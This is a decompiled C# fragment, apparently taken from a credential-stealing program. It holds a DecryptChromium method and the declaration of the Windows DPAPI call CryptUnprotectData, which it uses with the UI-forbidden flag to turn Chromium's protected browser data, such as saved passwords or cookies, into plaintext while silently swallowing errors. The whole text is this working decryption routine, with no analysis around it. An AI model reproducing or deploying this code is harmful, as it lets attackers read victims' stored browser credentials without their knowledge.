// Token: 0x060000F3 RID: 243 RVA: 0x00009890 File Offset: 0x00007A90 public static byte[] DecryptChromium(byte[] cipherTextBytes, byte[] entropyBytes = null) { Chromium.DataBlob dataBlob = default(Chromium.DataBlob); Chromium.DataBlob dataBlob2 = default(Chromium.DataBlob); Chromium.DataBlob dataBlob3 = default(Chromium.DataBlob); Chromium.CryptprotectPromptstruct cryptprotectPromptstruct = new Chromium.CryptprotectPromptstruct { cbSize = Marshal.SizeOf(typeof(Chromium.CryptprotectPromptstruct)), dwPromptFlags = 0, hwndApp = IntPtr.Zero, szPrompt = null }; string empty = string.Empty; try { try { if (cipherTextBytes == null) { cipherTextBytes = new byte[0]; } dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length); dataBlob2.cbData = cipherTextBytes.Length; Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length); } catch (Exception) { } try { if (entropyBytes == null) { entropyBytes = new byte[0]; } dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length); dataBlob3.cbData = entropyBytes.Length; Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length); } catch (Exception) { } Chromium.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob); byte[] array = new byte[dataBlob.cbData]; Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData); return(array); } catch (Exception) { } finally { if (dataBlob.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob.pbData); } if (dataBlob2.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob2.pbData); } if (dataBlob3.pbData != IntPtr.Zero) { Marshal.FreeHGlobal(dataBlob3.pbData); } } return(new byte[0]); }
private static extern bool CryptUnprotectData(ref Chromium.DataBlob pCipherText, ref string pszDescription, ref Chromium.DataBlob pEntropy, IntPtr pReserved, ref Chromium.CryptprotectPromptstruct pPrompt, int dwFlags, ref Chromium.DataBlob pPlainText);